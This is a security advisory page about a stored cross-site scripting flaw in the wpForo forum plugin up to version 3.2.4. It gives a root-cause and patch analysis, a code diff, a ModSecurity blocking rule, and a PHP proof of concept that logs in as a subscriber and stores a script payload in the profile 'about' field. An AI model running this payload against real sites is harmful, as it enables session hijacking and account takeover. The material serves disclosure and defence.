Published : November 20, 2026

CVE-2026-122264: wpForo Forum <= 3.2.4 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'member[about]' Parameter PoC, Patch Analysis & Rule

Plugin wpforo
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.2.4
Patched Version 3.2.5
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-122264: wpForo Forum versions up to and including 3.2.4 contain an authenticated stored cross-site scripting (XSS) vulnerability in the ‘member[about]’ parameter. Subscriber-level users who have reached the default antispam threshold of three forum posts can inject arbitrary JavaScript into their profile ‘about’ field. The payload is stored and later rendered without sufficient escaping, allowing script execution in the browsers of any user viewing the affected profile or page. The CVSS score is 6.4 (Medium).

Root Cause: The vulnerability arises from inadequate input sanitization and output escaping in multiple code locations. In wpforo/classes/Forms.php, the ‘textarea’ type handling previously applied wpforo_kses with the ‘user_description’ context, but the ‘tinymce’ field type (used for the ‘about’ field) lacked explicit sanitization before storage. In wpforo/classes/Members.php around line 1074, the ‘about’ field was assigned directly from user input ($member[‘about’]) without additional filtering, and then stored in the user meta ‘description’. This meta value is later rendered by other parts of WordPress (e.g., the core post-author-biography block) without proper escaping, leading to XSS. Atomic Edge research confirms the patch introduces a new ‘tinymce’ branch in Forms.php that applies wpforo_kses with the ‘post’ context to strip event handlers and scripts, and adds a similar wpforo_kses call in Members.php before updating the ‘description’ meta.

Exploitation: An attacker with subscriber-level access (having at least three forum posts) can submit a crafted POST request to the profile editing endpoint (e.g., /wp-admin/admin-ajax.php?action=wpforo_profile_edit or a direct form submission to the profile page) with the parameter member[about] containing a JavaScript payload such as alert(document.cookie) or an event handler like . The payload is stored in the wp_usermeta table under the ‘description’ key. When any user (including administrators) views the attacker’s profile page or a page that renders the biography (e.g., a forum post authored by the attacker), the script executes in their browser context, enabling session hijacking, credential theft, or other client-side attacks.

Patch Analysis: The patch (version 3.2.5) addresses the vulnerability through multiple changes. In Forms.php, a new condition for $type === ‘tinymce’ applies wpforo_kses($value, ‘post’) to sanitize rich-text fields, stripping dangerous markup while allowing post-level HTML. In Members.php, the ‘about’ field is now sanitized with wpforo_kses($member[‘about’], ‘post’) before being stored in the ‘description’ meta, ensuring that even callers that bypass Forms::sanitize() (such as registration or imports) cannot store scripts. Additional hardening includes escaping output in admin list tables (Members.php), escaping the ‘mention’ and ‘posted_by’ variables in Template.php, and sanitizing various user fields (display_name, user_nicename, first_name, last_name, user_url) to prevent related injection vectors. The patch also increments the plugin version to 3.2.5.

Impact: Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the context of other users’ browsers, including administrators. This can lead to session hijacking, theft of sensitive data (cookies, tokens), privilege escalation (by creating rogue admin accounts), defacement, or redirection to malicious sites. The requirement of three forum posts to access the profile editing page lowers the bar for attackers, as gaining subscriber access and posting three times is trivial on most forums. The stored nature of the XSS means the payload persists until removed, potentially affecting many users over time.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforo/admin/listtables/Members.php
+++ b/wpforo/admin/listtables/Members.php
@@ -58,7 +58,7 @@

                 return ! empty( $usergroup['name'] ) ? esc_html( $usergroup['name'] ) : __( 'default', 'wpforo' );
             case 'secondary_groupids':
-                return implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) );
+                return esc_html( implode( ', ', WPF()->usergroup->get_secondary_group_names( $item[ $column_name ] ) ) );
             case 'blog_posts':
                 return WPF()->member->blog_posts( $item['userid'] );
             case 'blog_comments':
@@ -66,7 +66,7 @@
             case 'online_time':
                 return ( $item['online_time'] ) ? wpforo_date_raw( $item['online_time'], 'datetime', false ) : '-';
             default:
-                return $item[ $column_name ];
+                return esc_html( (string) $item[ $column_name ] );
         }
     }

@@ -146,7 +146,7 @@
         //Return the title contents
         return sprintf(
                          '%1$s %2$s',
-                /*$1%s*/ $item['userid'],
+                /*$1%s*/ (int) $item['userid'],
                 /*$2%s*/ $this->row_actions( $actions )
         );
     }
--- a/wpforo/classes/Forms.php
+++ b/wpforo/classes/Forms.php
@@ -1282,6 +1282,11 @@
 				$value = sanitize_text_field( $value );
 			} elseif( $type === 'textarea' ) {
 				$value = stripslashes( wpforo_kses( trim( (string) $value ), 'user_description' ) );
+			} elseif( $type === 'tinymce' ) {
+				// Rich-text fields (about, signature) keep post-level markup, but event
+				// handlers and scripts must not reach storage: these values are also read
+				// outside wpForo, e.g. by the core post-author-biography block.
+				$value = wpforo_kses( trim( (string) $value ), 'post' );
 			} elseif( $type === 'email' ) {
 				$value = sanitize_email( $value );
 			} elseif( $type === 'password' ) {
--- a/wpforo/classes/Members.php
+++ b/wpforo/classes/Members.php
@@ -653,6 +653,11 @@
                     'user_pass2',
                     'userid',
                     'ID',
+                    'display_name',
+                    'user_nicename',
+                    'user_url',
+                    'first_name',
+                    'last_name',
                 ] as $reserved ) {
                     unset( $data['data'][ $reserved ] );
                 }
@@ -969,31 +974,29 @@
         if( $check_permissions ) WPF()->perm->can_edit_user( $userid );

         //User Fields
-        if( wpfkey( $data, 'display_name' ) ) {
-            $user_fields['display_name'] = $data['display_name'];
+        if( wpfkey( $data, 'display_name' ) && ( $display_name = sanitize_text_field( (string) $data['display_name'] ) ) !== '' ) {
+            $user_fields['display_name'] = $display_name;
             $user_fields_types[]         = '%s';
         }
         if( wpfkey( $data, 'user_email' ) ) {
             $user_fields['user_email'] = $data['user_email'];
             $user_fields_types[]       = '%s';
         }
-        if( wpfkey( $data, 'user_nicename' ) ) {
-            if( ! wpfval( $data, 'user_nicename' ) ) {
-                $user_info             = get_userdata( $userid );
-                $data['user_nicename'] = sanitize_title( sanitize_user( $user_info->user_nicename, true ) );
-            }
-            $user_fields['user_nicename'] = $data['user_nicename'];
+        // Keep the current nicename when the new value sanitizes to nothing, so a
+        // non-Latin or markup-only input can't blank the profile URL.
+        if( wpfkey( $data, 'user_nicename' ) && ( $user_nicename = sanitize_title( sanitize_user( (string) $data['user_nicename'], true ) ) ) !== '' ) {
+            $user_fields['user_nicename'] = $user_nicename;
             $user_fields_types[]          = '%s';
-            update_user_meta( $userid, 'nickname', $data['user_nicename'] );
+            update_user_meta( $userid, 'nickname', $user_nicename );
         }
         if( wpfkey( $data, 'first_name' ) ) {
-            update_user_meta( $userid, 'first_name', $data['first_name'] );
+            update_user_meta( $userid, 'first_name', sanitize_text_field( (string) $data['first_name'] ) );
         }
         if( wpfkey( $data, 'last_name' ) ) {
-            update_user_meta( $userid, 'last_name', $data['last_name'] );
+            update_user_meta( $userid, 'last_name', sanitize_text_field( (string) $data['last_name'] ) );
         }
         if( wpfkey( $data, 'user_url' ) ) {
-            $user_fields['user_url'] = $data['user_url'];
+            $user_fields['user_url'] = esc_url_raw( (string) $data['user_url'] );
             $user_fields_types[]     = '%s';
         }

@@ -1074,9 +1077,12 @@
             $profile_fields_types[]      = '%s';
         }
         if( wpfkey( $data, 'about' ) ) {
-            $profile_fields['about'] = $member['about'];
+            // Callers that skip Forms::sanitize() (registration, imports) must not be
+            // able to store scripts here: WordPress renders this meta outside wpForo.
+            $about                   = wpforo_kses( (string) $member['about'], 'post' );
+            $profile_fields['about'] = $about;
             $profile_fields_types[]  = '%s';
-            update_user_meta( $userid, 'description', $member['about'] );
+            update_user_meta( $userid, 'description', $about );
         }
         if( wpfkey( $data, 'occupation' ) ) {
             $profile_fields['occupation'] = $member['occupation'];
--- a/wpforo/classes/Template.php
+++ b/wpforo/classes/Template.php
@@ -3061,12 +3061,13 @@
                     '<blockquote data-userid="%1$d" data-postid="%2$d" data-mention="%3$s"><div class="wpforo-post-quote-head">%4$s %5$s</div>',
                     $userid,
                     $postid,
-                    $mention,
-                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), $posted_by ) : '' ),
+                    // display_name comes from the WP profile and may contain quotes or markup.
+                    esc_attr( $mention ),
+                    ( $posted_by ? sprintf( '<div class="wpforo-post-quote-author"><strong> %1$s: %2$s </strong></div>', wpforo_phrase( 'Posted by', false ), esc_html( $posted_by ) ) : '' ),
                     ( $postid ? sprintf(
                             '<div class="wpforo-post-quote-link"><a href="%1$s" title="%2$s">↑</a></div>',
-                            WPF()->post->get_url( $postid ),
-                            wpforo_phrase( 'go to original post', false )
+                            esc_url( WPF()->post->get_url( $postid ) ),
+                            esc_attr( wpforo_phrase( 'go to original post', false ) )
                     ) : '' )
             );
         },                             (string) $text );
--- a/wpforo/includes/hooks.php
+++ b/wpforo/includes/hooks.php
@@ -2279,6 +2279,11 @@
 				'user_pass2',
 				'userid',
 				'ID',
+				'display_name',
+				'user_nicename',
+				'user_url',
+				'first_name',
+				'last_name',
 			] as $reserved ) {
 				unset( $data['data'][ $reserved ] );
 			}
@@ -2582,7 +2587,7 @@
 					$attach_html .= '<br/><div class="wpfa-item wpfa-file"><a class="attach_cant_view" style="cursor: pointer;"><span style="color: #666;">' . wpforo_phrase(
 							'Attachment',
 							false
-						) . ' : </span> ' . urldecode( basename( $match[2] ) ) . '</a></div>';
+						) . ' : </span> ' . esc_html( urldecode( basename( $match[2] ) ) ) . '</a></div>';
 				}
 			}
 			if( $attach_html ) {
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
 * Description: WordPress Forum plugin. wpForo is the only AI powered forum solution for your community. Modern design and 5 forum layouts.
 * Author: gVectors Team
 * Author URI: https://gvectors.com/
-* Version: 3.2.4
+* Version: 3.2.5
 * Requires at least: 5.2
 * Requires PHP: 7.1
 * Text Domain: wpforo
@@ -14,7 +14,7 @@

 namespace wpforo;

-define( 'WPFORO_VERSION', '3.2.4' );
+define( 'WPFORO_VERSION', '3.2.5' );

 //Exit if accessed directly
 if( ! defined( 'ABSPATH' ) ) exit;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-122264
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026122264,phase:2,deny,status:403,chain,msg:'CVE-2026-122264 wpForo Stored XSS via member[about]',severity:'CRITICAL',tag:'CVE-2026-122264'"
  SecRule ARGS_POST:action "@streq wpforo_profile_edit" "chain"
    SecRule ARGS_POST:member[about] "@rx <script|onerror|onload|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-122264 - wpForo Forum <= 3.2.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'member[about]' Parameter

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Submit profile update with malicious 'about' payload
// The exact endpoint may vary; wpForo typically uses admin-ajax.php with action=wpforo_profile_edit
// or a direct POST to the profile page. Adjust accordingly.
$profile_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = '<script>alert(document.cookie)</script>'; // XSS payload
$profile_data = [
    'action' => 'wpforo_profile_edit', // Verify actual action name from plugin source
    'member[about]' => $payload,
    // Include other required fields if necessary (e.g., userid, nonce)
];
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Profile update failed: ' . curl_error($ch));
}

// Step 3: Trigger the stored XSS by visiting the profile page (as another user)
// For demonstration, we simply output a message.
echo "XSS payload submitted. Visit the profile page to trigger.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.